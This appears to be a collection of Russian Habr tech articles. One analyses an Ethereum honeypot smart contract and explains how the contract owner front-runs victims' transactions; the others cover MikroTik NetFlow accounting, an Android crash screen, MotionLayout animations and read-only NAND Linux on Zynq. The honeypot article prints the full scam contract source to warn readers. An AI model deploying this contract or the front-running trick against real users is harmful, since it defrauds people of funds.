* [Etherscan blockchain explorer](https://etherscan.io), окно в реальный эфировский мир, браузер блоков, транзакций, токенов, контрактов на основной сети. На Etherscan вы найдёте эксплореры и для тестовых сетей Rinkeby, Ropsten, Kovan (сети с бесплатным эфиром, построены на разных консенсус-протоколах). | https://habr.com/ru/post/415791/ | null | ru | null |
# Смарт-контракт ловушка в сети Ethereum
Недавно, просматривая опубликованные смарт контракты в сети Эфириум, наткнулся на один интересный контракт с уязвимостью внутри. С первого взгляда, разработчик ошибся в коде и вы можете получить деньги контракта, но если внимательно проанализировать логику контракта, все выглядит совершенно иначе.
Вот [адрес контракта](https://etherscan.io/address/0x13c547Ff0888A0A876E6F1304eaeFE9E6E06FC4B) для тех, кто хочет посмотреть как он устроен в блокчейне. А вот его исходный код:
```
pragma solidity ^0.4.19;
contract NEW_YEARS_GIFT {
string message;
bool passHasBeenSet = false;
address sender;
bytes32 public hashPass;
function () public payable {}
function GetHash(bytes pass) public constant returns(bytes32) {
return sha3(pass);
}
function SetPass(bytes32 hash) public payable {
if ((!passHasBeenSet && (msg.value > 1 ether)) || hashPass == 0x0) {
hashPass = hash;
sender = msg.sender;
}
}
function SetMessage(string _message) public {
if (msg.sender == sender) {
message = _message;
}
}
function GetGift(bytes pass) external payable returns(string) {
if (hashPass == sha3(pass)) {
msg.sender.transfer(this.balance);
return message;
}
}
function Revoce() public payable {
if (msg.sender == sender) {
sender.transfer(this.balance);
message = "";
}
}
function PassHasBeenSet(bytes32 hash) public {
if (msg.sender == sender && hash == hashPass) {
passHasBeenSet = true;
}
}
}
```
Автор контракта как бы намекает, что он хотел сделать поздравительную открытку с деньгами, но программист он никудышный. Алгоритм данного контракта следующий:
1. Вы кладете деньги на контракт, с помощью метода **SetPass**, при этом задавая хэш SHA-3 вашего пароля, который доступен получателю (как романтично).
2. Вы отправляете сообщение получателю с помощью метода **SetMessage**
3. Также можете отказаться от подарка методом **Revoce**
4. А получатель получает деньги и сообщением методом **GetGift**
Ну не красота ли? Плюс эту картину дополняют три транзакции:
Первые две из них, это:
1. Публикация контракта
2. Вызов функции **SetPass** с неким хэшем и пополнением баланса контракта на 1 Эфир.
Заметим, что только одна функция была вызвана.
Третья транзакция это «неудачная» попытка взломать контракт с вызовом метода **GetGift** и случайным набором данных.
А теперь собственно ловушка:
Давайте внимательно рассмотрим проверку в методе **SetPass**:
```
function SetPass(bytes32 hash) public payable {
if ((!passHasBeenSet && (msg.value > 1 ether)) || hashPass == 0x0) {
hashPass = hash;
sender = msg.sender;
}
}
```
Как видите, она основана на переменной **passHasBeenSet**, которую необходимо устанавливать отдельным одноименным методом **PassHasBeenSet**. Этот метод вызван не был, следовательно переменная до сих пор имеет значение false. Причем, данный метод может вызвать только тот, кто сначала вызвал метод **SetPass**.
То есть, теоретически, любой кто вызовет метод **SetPass**, с пополнением баланса больше чем 1 Эфир, станет sender'ом. Причем, чтобы уже никто другой не стал им, нужно просто сразу вызвать метод **PassHasBeenSet** или просто один из методов **Revoce/GetGift** для вывода денег.
И вроде бы все логично — просто вызываешь эти два метода и 1 Эфир твой. Но, как мы знаем, в Эфириуме есть атака опережением (front-running). Смысл ее в следующем: злоумышленник наблюдает пул ожидающих транзакций и ждёт вашу транзакцию. Как только транзакция, связанная с контрактом, появляется в пуле транзакций, злоумышленник выполняет транзакцию с большей ценой газа. Транзакция злоумышленника пришла последней в текущем раунде, но благодаря наивысшей цене газа она в реальности будет исполнена раньше, чем ваша транзакция.
Как думаете, какой метод исполнит злоумышленник? Конечно же **PassHasBeenSet**.
Это даст ему возможность избежать смены sender'а и кроме того, все ваши деньги, отосланные методом **SetPass**, благополучно осядут в контракте. Ну а дальше он просто их выведет.
Будьте внимательны при работе с блокчейнами! | https://habr.com/ru/post/349214/ | null | ru | null |
# Mikrotik – сбор и анализ NetFlow трафика
### Предисловие
Когда-то давно, в далекой далекой галактике… Хотя если подумать, это было всего то 15 лет назад.
В общем были времена, когда в качестве центрального шлюза в сеть Интернет использовались решения на базе FreeBSD и Linux. И были эти решения любовно настроены, и обвешивались они всеми возможными и невозможными функциями (от межсетевого экрана и VPN серверов до TFTP+PXE-сервисов бездисковой загрузки)… и не было беды, и все было хорошо…
Но времена меняются, появляются новые решения, появляются компании, которые «дешево и сердито» готовят ядро Linux, обвешивают необходимым функционалом и продают это за весьма скромные деньги (сопоставимые со стоимостью аппаратной части).
Примером таких решения является компания Mikrotik и ее одноименные решения.
### Текущие реалии
Итого текущая ситуация – купить и поставить Mikrotik в организацию, в которой от 10 до 5000 компьютеров, быстрее и экономичнее, чем брать «очередной системник» и собирать шлюз по частям (сетевухи, софт, сервисы и т.д.).
При этом задачи учета трафика как были, так и остаются. И тут на помощь приходит рядом стоящий сервер (обычно это NAS на базе Linux или FreeBSD).
Учет WEB-трафика прост и понятен – связка Squid + LightSquid позволяет просто и быстро собирать и агрегировать информации о том, кто какие сайты посещает, какие файлы качает и сколько в Youtube-е зависает. При необходимости можно и ограничить сайты, время и т.д. Простое, удобное решение, проверенное годами. В Mikrotik делается одно правило, выпускающее IP прокси-сервера в интернет. И все счастливы.
Но вот проблема – не все успешно проходит через Squid. Есть банк-клиенты, написанные без поддержки HTTP и Socks прокси. Есть сложные программы, которые для разных типов трафика используют разные соединения – итог – либо плохо работают через Proxy, либо вообще не работают. А есть отдельная категория так называемых VIP-персон… которым проще дать «Full NAT», чем обострять отношения, когда «что-то у них не открывается».
Таким образом, в Mikrotik рано или поздно, но будут появляться отдельные правила, выпускающие «особенных» напрямую через NAT, минуя прокси-сервер. И их трафик мы в статистике уже не видим.
Решение по учету такого трафика напрашивается следующее:
* Включить на внешнем интерфейсе Mikrotik захват NetFlow статистики;
* Отправка этой статистики в NAS (например, в службу flow-tools, через flow-capture)
Для удобного анализа получаемых на NAS-сервере файлов, данное решение предлагается улучшить с помощью пары самописных скриптов:
* Perl-скрипт, который будет обрабатывать ft-файлы, и загружать информацию в СУБД MySQL;
* PHP-скрипт, который будет выполнять роль преднастроенного UI, для удобного анализа NetFlow-данных.
### Настройка Mikrotik
Все просто и по документации:
```
/ip traffic-flow
set enabled=yes interfaces=WAN
/ip traffic-flow target
add dst-address= port=8787 v9-template-timeout=1m version=5
```
### Настройка Flow-Tools на примере FreeBSD
```
# Установка NetFlow сенсора:
pkg install flow-tools
# Настройка запуска:
echo 'flow_capture_enable="YES"' >> /etc/rc.conf.local
echo 'flow_capture_flags="-N-2"' >> /etc/rc.conf.local
# Запуск:
service flow_capture start
```
### Установка и подготовка СУБД MySQL для импорта NetFlow данных
```
# Установим, запустим и настроим MySQL сервер:
pkg install mysql56-server
# Запуск службы
echo 'mysql_enable="YES"' >> /etc/rc.conf
service mysql start
# Начальная настройка СУБД:
mysql_secure_installation
# Установим Perl-модули для работы скрипта с СУБД:
pkg install p5-DBI p5-DBD-mysql
# Входим в СУБД и создаем базу и пользователя для работы с ней:
mysql -u root -p
```
# Создаем СУБД и пользователя:
```
mysql> create database netflow;
mysql> grant insert,create,update,select,delete on netflow.* to nfuser@'localhost' identified by '987654321';
mysql> flush privileges;
mysql> exit;
```
### Perl-скрипт для анализа ft-\* файлов статистики NetFlow и загрузки данных в MySQL
Скрипт был написан не с нуля – когда то давно, в 2005-м году на сайте OpenNET была выложена статья ([ссылка](https://www.opennet.ru/base/net/ng_billing_letter.txt.html)) о подсчете трафика на шлюзе FreeBSD с использованием NetGraph модуля ng\_ipacct.
Скрипт загрузки был взят за основу и переписан на использование с NetFlow и flow-tools. Работает как на FreeBSD, так и на Linux (только пути переписать до программ flow-cat и flow-print).
Особенности скрипта – данный вариант предназначен для анализа всех ft-\* файлов за прошедшие сутки и их загрузки в базу (построчно). При этом реализовано исключение строк по нескольким шаблонам, чтобы не грузить в MySQL избыточную информацию (например, исключить широковещательный трафик, трафик DNS-запросов, трафик с HTTP/Socks прокси (благо статистика по прокси есть в другом месте). По моим замерам, исключение позволяет сократить количество загружаемых в СУБД строк в 10, а то и в 20-30 раз.
Таблицы в СУБД создаются автоматически с началом нового месяца. К стандартному NetFlow v5 формату добавляется день, время записи (используется время создаваемых ft-файлов – например, каждые 15 минут), также указывается имя источника NetFlow и имя сетевого интерфейса.
### PHP UI для упрощенного построения SQL-запросов
В далеком 2005-м, когда использовались Perl-скрипты автора, для анализа данных в MySQL мы использовали SQL команды… и все всех устраивало.
Но рано или поздно настал момент, когда вводить запросы надоело. И, собравшись с мыслями, был написал небольшой PHP-код, который позволял проводить построение SQL-запросов более быстрым и простым способом.
Внешний вид:
Что позволяет сделать скрипт:
1. Производить SQL-запросы, видеть сам итоговый запрос и его результат в табличной форме;
2. Видеть сумму трафика NetFlow за любой месяц;
3. Группировать трафик по одному показателю (SourceIP, SourcePort, DestIP, DestPort, Proto, Date);
4. Видеть количество строк вместо суммы (как за месяц так и с группировкой по одному признаку);
5. Фильтровать по объему трафика;
6. Видеть сами записи вместо суммы трафика;
7. Запрашивать указанное количество записей из базы (например, для дальнейшего copy/paste в Excel).
PS: Владелец файла netflow.php должен быть пользователь Web-сервера (например, Apache).
PSS: Доступ к СУБД указан в файле netflow.php явно – так что измените под себя.
### Обслуживание MySQL таблиц
Если таблицы получаются довольно большие (хотя никто Вам не мешает грузить в СУБД только то, что Вам нужно, исключая «шлак» и уменьшая размер), то есть интересный прием, позволяющий существенно уменьшить размер СУБД. Речь идет об использовании компрессии БД в формате MyISAM, а также об оптимизации индекса.
Для автоматического выполнения этих процедур был написан еще один Perl-скрипт, который первого числа каждого нового месяца запускается через Cron:
* Ремонтирует таблицу на всякий случай (вдруг были некорректные отключения службы и MyISAM содержит ошибки);
* Переименовывает таблицу, добавляя в конце символ c (от слова compressed);
* Выполняет программы myisamchk и myisampack, которые сжимают БД и строят новый и отсортированный индекс для сжатой таблицы.
Итого после выполнения скрипта данная таблица станет ReadOnly, будет сжата (размер уменьшиться раза в 3), и будет построен новый отсортированный и оптимизированный индекс. Запросы в такую таблицу будут выполняться быстрее.
### Резюме
Все скрипты можно скачать по [ссылке](https://yadi.sk/d/uGdsIx3G3V5UA4).
Update1: Доработал скрипт netflow.php — для работы с PHP версии 7.x: [ссылка](https://yadi.sk/d/c2GpBy0F3VBF9V) | https://habr.com/ru/post/354720/ | null | ru | null |
# Меняем стандартный диалог сбоя приложения в Android на собственный экран
### Как вместо стандартного диалогового окна о сбое использовать собственный экран с сообщением об ошибке
> Будущих учащихся на курсе ["Android Developer. Basic"](https://otus.pw/IqTK/) приглашаем посетить открытый вебинар на тему ["Приложение под Android на Kotlin за 1,5 часа"](https://otus.pw/UWnh/)
>
>
> А пока делимся традиционным полезным переводом.
>
>
---
Не знаю, как вам, но мне бывает очень стыдно, когда я передаю свое приложение на проверку тестировщику или клиенту и в приложении возникает сбой. Это весьма неприятный момент.
«Живи так, как будто ты умрешь завтра. Учись так, как будто ты будешь жить вечно».
Мне не нравится стандартное диалоговое окно, которое отображается при сбое приложения. Поэтому я нашел интересную библиотеку, которая позволяет отображать собственный экран с сообщением об ошибке вместо стандартного диалогового окна.
Давайте разберемся, как это сделать.
**Что нам потребуется?**
1. Kotlin
2. Android Studio
3. [Та самая библиотека](https://github.com/Ereza/CustomActivityOnCrash).
После создания нового проекта добавьте в файл `build.gradle(:app)` следующую зависимость:
```
implementation 'cat.ereza:customactivityoncrash:2.3.0'
```
Создадим макет собственного экрана сбоя. Например, такой:
Макет собственного экрана сбоя*Эту картинку, изображающую сбой, я скачал* [*отсюда*](https://icons8.com/illustrations/illustration/pixeltrue-error)*.*
```
xml version="1.0" encoding="utf-8"?
```
### Как стать успешным разработчиком для Android
#### Следуйте этому плану, если хотите стать профессиональным разработчиком для Android
[medium.com](https://medium.com/better-programming/android-free-courses-3b550ce388e6)
Давайте добавим код, который отслеживает событие сбоя и отображает собственный экран сбоя вместо стандартного диалогового окна Android.
```
package com.example.customerrorscreen
import android.os.Bundle
import android.view.View
import androidx.appcompat.app.AppCompatActivity
import cat.ereza.customactivityoncrash.CustomActivityOnCrash
import kotlinx.android.synthetic.main.activity_error.*
class ErrorActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_error)
/** you can log the reason of crash by adding this line of code
* CustomActivityOnCrash.getStackTraceFromIntent(intent)
*/
//getting crashing intent
val config = CustomActivityOnCrash.getConfigFromIntent(intent)
/**
* If config is null or not getting an intent simply finish the app
*/
if (config == null) {
finish()
return
}
if (config.isShowRestartButton && config.restartActivityClass != null) {
restartApp.text = "Restart App"
restartApp.setOnClickListener {
CustomActivityOnCrash.restartApplication(
this,
config
)
}
} else {
restartApp.text = "Close App"
restartApp.setOnClickListener {
CustomActivityOnCrash.closeApplication(
this,
config
)
}
}
}
}
```
Нужно создать класс приложения, который будет зарегистрирован в манифесте Android с целью глобальной регистрации библиотеки обработки сбоев в приложении.
```
package com.example.customerrorscreen
import android.app.Application
import cat.ereza.customactivityoncrash.config.CaocConfig
/**
* Created by Mustufa on 04/11/2020.
* Email : mustufaayub82@gmail.com
*/
class MyApp : Application() {
override fun onCreate() {
super.onCreate()
CaocConfig.Builder.create()
.trackActivities(true)
.errorActivity(ErrorActivity::class.java)
.apply()
}
}
```
Добавим этот класс в файл `AndroidManifest.xml`, используя атрибут `name`.
AndroidManifest.xmlТеперь перейдем к файлу `MainActivity.kt` и поэкспериментируем с нашей новой возможностью. Мы должны вызвать сбой в приложении, чтобы увидеть наш экран сбоя. Я добавлю код, вызывающий сбой приложения, в метод `onCreate`.
```
var array = mutableListOf()
array[0] = "Hello"
findViewById(R.id.textView).text = array[1]
```
При выполнении этого кода будет сгенерировано исключение `IndexOutOfBoundException` и в приложении возникнет сбой.
Запустим приложение.
Исходный код можно скачать [отсюда.](https://github.com/Mustufa786/CustomCrashActivity)
---
> [Узнать подробнее о курсе](https://otus.pw/IqTK/) "Android Developer. Basic".
>
>
> [Записаться на открытый урок](https://otus.pw/UWnh/) на тему "Приложение под Android на Kotlin за 1,5 часа".
>
> | https://habr.com/ru/post/530606/ | null | ru | null |
# MotionLayout: анимации лучше, кода — меньше
*Google продолжает улучшать нашу жизнь, выпуская новые удобные библиотеки и API. Среди которых оказался и новый MotionLayout. Учитывая обилие анимаций в наших приложениях, мой коллега Cedric Holtz сразу же реализовал важнейшую анимацию нашего приложения — голосование в знакомствах — с использованием нового API, сэкономив при этом огромное количество кода. Делюсь переводом его статьи.*
Недавно закончилась конференция Google I/O 2019, на которой анонсировали обновления и самые свежие улучшения нашего любимого SDK. Лично мне особенно интересна была презентация Николаса Роарда и Джона Хофорда о будущей функциональности ConstraintLayout. А точнее, о его расширении в виде MotionLayout.
После выпуска бета-версии мне захотелось реализовать анимацию знакомств на основе этой библиотеки.
Сначала определимся с терминами:
> «MotionLayout — это ConstraintLayout, который позволяет анимировать лэйауты между разными состояниями». — [Документация](https://developer.android.com/reference/android/support/constraint/motion/MotionLayout)
Если вы ещё не читали [серию статей](https://medium.com/google-developers/introduction-to-motionlayout-part-i-29208674b10d) Николаса Роарда, в которой объясняются ключевые идеи MotionLayout, то очень рекомендую прочитать.
Итак, с введением закончили, теперь давайте посмотрим, что мы хотим получить:
Стек карт
---------
### Показываем сдвигаемую карту
Начнём с того, что в директорию лэйаутов добавим MotionLayout, который пока что содержит только одну верхнюю карту:
```
```
Обратите внимание на эту строку: app:motionDebug=«SHOW\_ALL». Она позволяет нам выводить на экран отладочную информацию, траекторию движения объектов, состояния с началом и концом анимации, а также текущий прогресс. Строчка очень помогает при отладке, но не забудьте удалить её, прежде чем отправлять в прод: никакой напоминалки для этого нет.
Как видите, мы не задали никаких ограничений для вьюх здесь. Они будут взяты из сцены (MotionScene), которую мы сейчас определим.
Начнём с того, что определим начальное состояние: одна карта лежит в центре экрана, с отступами вокруг.
```
```
Добавим наборы ограничений (ConstraintSet) pass и like. Они будут отражать состояние верхней карты, когда она полностью сдвинута влево или вправо. Мы хотим, чтобы перед исчезновением с экрана карта остановилась, чтобы показать красивую анимацию, подтверждающую наше решение.
```
```
Добавим в предыдущую сцену оба набора ограничений. Они почти одинаковые, только зеркально отражены по обеим сторонам экрана.
Теперь у нас три набора ограничений — start, like и pass. Давайте определим переходы (Transition) между этими состояниями.
Для этого добавим в сцену один переход для свайпа влево, другой для свайпа вправо.
```
```
Итак, для верхней карты мы задали анимацию свайпа влево и такую же — зеркально для свайпа вправо.
Эти свойства помогут улучшить взаимодействие с нашей сценой:
* touchRegionId: поскольку мы добавили вокруг карты отступы, нужно сделать так, чтобы касание распознавалось лишь в зоне самой карты, а не всего MotionLayout. Это можно сделать с помощью touchRegionId.
* onTouchUp: что будет с анимацией после того, как мы отпустим карту? Она должна либо двигаться дальше, либо вернуться в начальное состояние, поэтому применим autoComplete.
Посмотрим, что получилось:
### Карта автоматически выходит за пределы экрана
Теперь поработаем над анимацией, которая будет запускаться, когда карта выходит за пределы экрана.
Добавим ещё два набора ConstraintSet для каждого конечного состояния наших анимаций: выход карты за пределы экрана слева и справа.
В следующих примерах я покажу, как сделать состояние like, а состояние pass будет повторять его зеркально. Рабочий пример можно полностью увидеть в [репозитории](https://github.com/calimbak/SwipeRightOnMotionLayout).
```
```
Теперь, как и в предыдущем примере, нужно определить переход от состояния свайпа к конечному состоянию. Переход должен автоматически срабатывать сразу после завершения анимации свайпа. Сделать это можно с помощью autoTransition:
```
```
Теперь у нас есть свайпабельная карта, которую можно свайпнуть с экрана!
### Анимация нижней карты
Теперь сделаем нижнюю карту, чтобы создать иллюзию бесконечности колоды.
Добавим в лэйаут ещё одну карту, аналогичную первой:
Изменим XML, чтобы задать ограничения, которые применяются к этой карте на каждом этапе анимации:
```
```
Для этого мы можем воспользоваться удобным свойством ConstraintSet.
По умолчанию, каждый новый набор берёт атрибуты из родительского MotionLayout. Но с помощью флага deriveConstraintsFrom можно задать для нашего набора другого родителя. Стоит иметь в виду, что если мы задаем ограничения с помощью тега constraint, то тем самым переопределяем все ограничения из родительского набора. Чтобы этого избежать, можно задать в [тегах](https://developer.android.com/reference/android/support/constraint/motion/MotionLayout#constraint) конкретные атрибуты, чтобы замещались лишь они.
В нашем случае это означает, что в наборе pass мы не определяем тег Layout, а копируем из родителя. Однако мы переопределяем Transform, поэтому поэтому заменяем все атрибуты, заданные в теге Transform, нашими собственными, в данном случае — изменением масштаба.
Вот так легко можно с помощью MotionLayout добавить новый элемент и бесшовно интегрировать его с анимациями нашей сцены.
### Делаем анимацию бесконечной
После завершения анимации верхнюю карту уже нельзя смахнуть, потому что теперь она стала нижней картой. Чтобы получилась бесконечная анимация, нужно менять карты местами.
Сначала я хотел сделать это с помощью нового перехода:
Анимация целиком проигрывается так, как нужно. Теперь у нас есть стек карт, которые можно бесконечно свайпить!
Посвайпив немного, я кое-что заметил. Анимация перехода к концу колоды останавливается, если коснуться карты. Даже при том, что длительность анимации нулевая, всё равно происходит остановка, а это плохо.
Мне удалось победить только одним способом — программно изменив активный переход в MotionLayout.
Для этого мы зададим коллбэк по завершению анимации. Как только завершаются offScreenLike и offScreenPass, мы просто сбрасываем переход обратно на состояние rest и обнуляем прогресс.
```
motionLayout.setTransitionListener(object : TransitionAdapter() {
override fun onTransitionCompleted(motionLayout: MotionLayout, currentId: Int) {
when (currentId) {
R.id.offScreenPass,
R.id.offScreenLike -> {
motionLayout.progress = 0f
motionLayout.setTransition(R.id.rest, R.id.like)
}
}
}
})
```
Не имеет значения, какой переход мы задали, pass или like, при свайпе мы переключаемся на нужный.
Выглядит так же, но анимация не останавливается! Идём дальше!
### Привязка (биндинг) данных
Создадим тестовые данные для отображения на картах. Пока что ограничимся изменением фонового цвета у каждой карты.
Мы создаем ViewModel со свайп-методом, который всего лишь подставляет новые данные. Биндим её в Activity таким образом:
```
val viewModel = ViewModelProviders
.of(this)
.get(SwipeRightViewModel::class.java)
viewModel
.modelStream
.observe(this, Observer {
bindCard(it)
})
motionLayout.setTransitionListener(object : TransitionAdapter() {
override fun onTransitionCompleted(motionLayout: MotionLayout, currentId: Int) {
when (currentId) {
R.id.offScreenPass,
R.id.offScreenLike -> {
motionLayout.progress = 0f
motionLayout.setTransition(R.id.rest, R.id.like)
viewModel.swipe()
}
}
}
})
```
Осталось сообщить ViewModel о завершении анимации свайпа, и она обновит данные, которые отображаются в текущий момент.
Всплывающие иконки
------------------
Добавим две вьюхи, которые при свайпе появляются с одной из сторон экрана (ниже показана только одна, вторая делается зеркально).
```
```
Теперь для карт нужно задать состояния анимации с этим вьюхами.
```
```
Нет нужды задавать ограничения в анимациях, которые выходят за пределы экрана, поскольку они наследуются от родителей. А в нашем случае это состояние свайпа.
Это всё, что нам нужно сделать. Теперь можно очень легко добавлять компоненты в цепочки анимаций.
Запускаем анимацию программно
-----------------------------
Можем сделать на картах две кнопки, чтобы пользователь мог не только свайпить, но управлять с помощью кнопок.
Каждая кнопка запускает ту же анимацию, что и свайп.
Как обычно, подписываемся на клики кнопок и запустим анимацию прямо на объекте MotionLayout:
```
likeButton.setOnClickListener {
motionLayout.transitionToState(R.id.like)
}
passButton.setOnClickListener {
motionLayout.transitionToState(R.id.pass)
}
```
Нам нужно добавить кнопки как на верхнюю, так и на нижнюю карты, чтобы анимация проигрывалась непрерывно. Однако для нижней карты подписка на клики не нужна, потому что она либо не видна, либо верхняя карта анимируется, и мы не хотим это прерывать.
Ещё один замечательный пример того, как MotionLayout обрабатывает для нас изменения состояний. Давайте слегка замедлим анимацию:
Посмотрите на переход, который выполняет MotionLayout, когда pass сменяет like. Магия!
Свайпим карту по кривой
=======================
Допустим, нам нравится, если карта будет двигаться не по прямой, а по кривой (честно говоря, мне просто хотелось попробовать так сделать).
Тогда нужно для движения в обе стороны определить KeyPosition, чтобы траектория движения изогнулась дугой.
Добавим это в сцену движения:
```
```
Теперь карта движется по небанальной изогнутой траектории. Волшебно!
Заключение
==========
Когда сравниваешь объём кода, получившийся у меня при создании этих анимаций, с нашей текущей реализацией похожей анимации в продакшне, результат ошеломляет.
MotionLayout незаметно обрабатывает отмену переходов (например, при касании), создание цепочек анимаций, изменения свойства при переходах и многое другое. Этот инструмент в корне всё меняет, значительно упрощая UI-логику.
Есть еще некоторые вещи, над которыми стоит поработать (в основном, отключение анимаций и двунаправленный скроллинг в RecyclerView), но уверен, что это решаемо.
Помните, что библиотека ещё находится в статусе беты, но она уже открывает для нас много захватывающих возможностей. С нетерпением ждем релиза MotionLayout, который, я уверен, еще не раз пригодится нам в будущем. Полностью работающее приложение из этой статьи вы можете посмотреть в [репозитории](https://github.com/calimbak/SwipeRightOnMotionLayout).
*P.S.: и раз уж мне как переводчику предоставили слово — в нашей Android-команде есть место [разработчика](https://hh.ru/vacancy/31953595). Спасибо за внимание.* | https://habr.com/ru/post/458854/ | null | ru | null |
# Построение отказоустойчивой системы Embedded Linux на базе модуля Mars ZX3 фирмы Enclustra
В связи с загруженностью специалистов, несколько лет назад мы вынуждены были отдать одну разработку контрагентам. Разработка велась на модуле Mars ZX3 фирмы Enclustra, в котором используется SOC ARM+FPGA Zynq-7020. Для сборки Linux использовался BSP от Enclustra (bsp-xilinx), который был немного модифицирован.
В процессе тестирования разработанного программного обеспечения, мы сразу же столкнулись с отказами ПО при выключении питания. При анализе, обнаружилось, что команды конфигурирования, отправляемые на устройство по сети, записывались в файлы, которые, при сбое питания, иногда оказывались пустыми или отсутствовали совсем. Это вынудило нас пересмотреть идеологию построения переданной нам сборки Linux. Сам процесс построения системы хорошо описан на [сайте](http://enclustra.github.io/ebe-docs/user-doc-xilinx/index_xilinx.html) изготовителя модуля, поэтому не буду на нем останавливаться. Опишу только то, что позволило решить стоящую перед нами задачу повышения надежности и предотвращения отказов.
На модуле Mars ZX3 установлены микросхемы QSPI Flash и NAND Flash. В нашем случае, загрузка модуля происходит с QSPI Flash, в которую был записан U-Boot. Так как обе микросхемы используют одинаковые выводы Zynq-7020, после загрузки U-Boot переключает выводы на NAND Flash, на котором в отдельных разделах записаны загрузочный скрипт, Device Tree, ядро Linux, файловая система ubifs, переменные окружения. При этом все разделы, кроме раздела с переменными окружения были резервированы (то есть таких разделов было по два). Ниже приведен фрагмент файла Device Tree, где показано, как был разбит NAND Flash в варианте, переданном нам контрагентами:
```
partition@nand-linux {
label = "nand-linux";
reg = <0x0 0x500000>;
};
partition@nand-device-tree {
label = "nand-device-tree";
reg = <0x500000 0x100000>;
};
partition@nand-bootscript {
label = "nand-bootscript";
reg = <0x600000 0x100000>;
};
partition@nand-linux-second {
label = "nand-linux-second";
reg = <0x700000 0x500000>;
};
partition@nand-device-tree-second {
label = "nand-device-tree";
reg = <0xC00000 0x100000>;
};
partition@nand-bootscript-second {
label = "nand-bootscript";
reg = <0xD00000 0x100000>;
};
partition@nand-rootfs {
label = "nand-rootfs";
reg = <0xE00000 0xF500000>;
};
partition@nand-rootfs-second {
label = "nand-rootfs";
reg = <0x10300000 0xF500000>;
};
partition@boot-env {
label = "nand-env";
reg = <0x1F800000 0x100000>;
};
```
Вторые разделы предполагалось использовать при сбое основных разделов. Для этого в Linux должен был быть реализован процесс, контролирующий целостность системы и, при сбое, записывающий в переменную окружения значение, предписывающую запускать систему с резервных разделов. Данный алгоритм предполагалось реализовать в будущем.
Конфигурационные данные записывались в две папки, для резервирования, но это не спасло ситуацию. Предполагается, что при отсутствии конфигурационных файлов, они создаются вновь автоматически, с параметрами по умолчанию.
Проблема заключается в том, что NAND Flash записывает данные постранично, а стирание происходит блоками. Таки образом, если при записи данных произойдет сбой питания, то будут испорчены не только эти данные, но может повредиться и файловая система. Запуск резервной системы может только отложить возникновение проблемы. Хотя в этом случае можно и реализовать восстановление основных разделов из резервных.
Мы решили пойти другим путем, смонтировав rootfs как Read-Only файловую систему, а файлы конфигурации записывать в отдельные разделы *data* и *backup*, которые монтировались для чтения и записи. В этом случае надобность в резервных разделах отпадает, но мы оставили их на будущее, так как объем памяти позволял нам это сделать. При необходимости, их можно удалить.
В итоге, было сделано следующее разбиение NAND Flash на разделы:
```
partition@nand-linux {
label = "nand-linux";
reg = <0x0 0x500000>;
};
partition@nand-device-tree {
label = "nand-device-tree";
reg = <0x500000 0x100000>;
};
partition@nand-bootscript {
label = "nand-bootscript";
reg = <0x600000 0x100000>;
};
partition@nand-linux-second {
label = "nand-linux-second";
reg = <0x700000 0x500000>;
};
partition@nand-device-tree-second {
label = "nand-device-tree";
reg = <0xC00000 0x100000>;
};
partition@nand-bootscript-second {
label = "nand-bootscript";
reg = <0xD00000 0x100000>;
};
partition@nand-rootfs {
label = "nand-rootfs";
reg = <0xE00000 0x9600000>;
};
partition@nand-rootfs-second {
label = "nand-rootfs";
reg = <0xA400000 0x9600000>;
};
partition@nand-data {
label = "nand-data";
reg = <0x13A00000 0x5F00000>;
};
partition@nand-data-backup {
label = "nand-data-backup";
reg = <0x19900000 0x5F00000>;
};
partition@boot-env {
label = "nand-env";
reg = <0x1F800000 0x100000>;
};
```
При прошивке NAND Flash с помощью команды U-Boot мы стираем разделы *nand-data* и *nand-data-backup*:
```
u-boot>nand erase.part nand-data
u-boot>nand erase.part nand-data-backup
```
В загрузочном скрипте Linux мы реализовали монтирование корневой файловой системы как Read-Only, заменив в файле /etc/inittab в сборке Linux строку:
```
::sysinit:/bin/mount -o remount,rw /
```
на
```
::sysinit:/bin/mount -o remount,ro /
```
Добавили загрузочный скрипт в папку */etc/init.d/*, который монтирует разделы *nand-data* и *nand-data-backup* для чтения и записи. В случае ошибки при монтировании (при первой загрузке или если повреждена файловая система), эти разделы форматируются и вновь монтируются. В корневой файловой системе должны быть предварительно созданы папки */mnt/data/* и */mnt/backup/*.
```
#!/bin/sh
#
# datafs Mount datafs.
#
umask 077
start() {
printf "Starting mount datafs..."
/usr/sbin/ubiattach /dev/ubi_ctrl -m 8
/usr/sbin/ubiattach /dev/ubi_ctrl -m 9
mount_datafs_err=0;
mount_datafs_backup_err=0;
/bin/mount -t ubifs ubi1:datafs /mnt/data
mount_datafs_err=$?
if [ $mount_datafs_err -ne 0 ]; then
/usr/sbin/ubidetach -p /dev/mtd8
/usr/sbin/ubiformat /dev/mtd8 -y
/usr/sbin/ubiattach /dev/ubi_ctrl -m 8
/usr/sbin/ubimkvol /dev/ubi1 -N datafs -s 81MiB
/bin/mount -t ubifs ubi1:datafs /mnt/data
mount_datafs_err=$?
fi
/bin/mount -t ubifs ubi2:datafs /mnt/backup
mount_datafs_backup_err=$?
if [ $mount_datafs_backup_err -ne 0 ]; then
/usr/sbin/ubidetach -p /dev/mtd9
/usr/sbin/ubiformat /dev/mtd9 -y
/usr/sbin/ubiattach /dev/ubi_ctrl -m 9
/usr/sbin/ubimkvol /dev/ubi2 -N datafs -s 81MiB
/bin/mount -t ubifs ubi2:datafs /mnt/backup
mount_datafs_backup_err=$?
fi
printf "Mount datafs: "
if [ $mount_datafs_err -ne 0 ]; then
echo "Error"
else
echo "OK"
fi
printf "Mount backup datafs: "
if [ $mount_datafs_backup_err -ne 0 ]; then
echo "Error"
else
echo "OK"
fi
touch /var/lock/datafs
}
stop() {
/bin/umount /mnt/data
/bin/umount /mnt/backup
rm -f /var/lock/datafs
}
restart() {
stop
sleep 1
start
}
case "$1" in
start)
start
;;
stop)
stop
;;
restart|reload)
restart
;;
*)
echo "Usage: $0 {start|stop|restart|reload}"
exit 1
esac
exit 0
```
При загрузке, если конфигурационные файлы в папке */mnt/data/* отсутствуют, они загружаются из папки */mnt/backup/*. Если конфигурационные файлы отсутствуют и в */mnt/backup/*, они автоматически создаются из ПО с параметрами по умолчанию. Если файлы присутствуют в */mnt/data/*, но отсутствуют в */mnt/backup/*, они копируются из */mnt/data/* в */mnt/backup/*. Все эти операции выполняет пользовательское ПО.
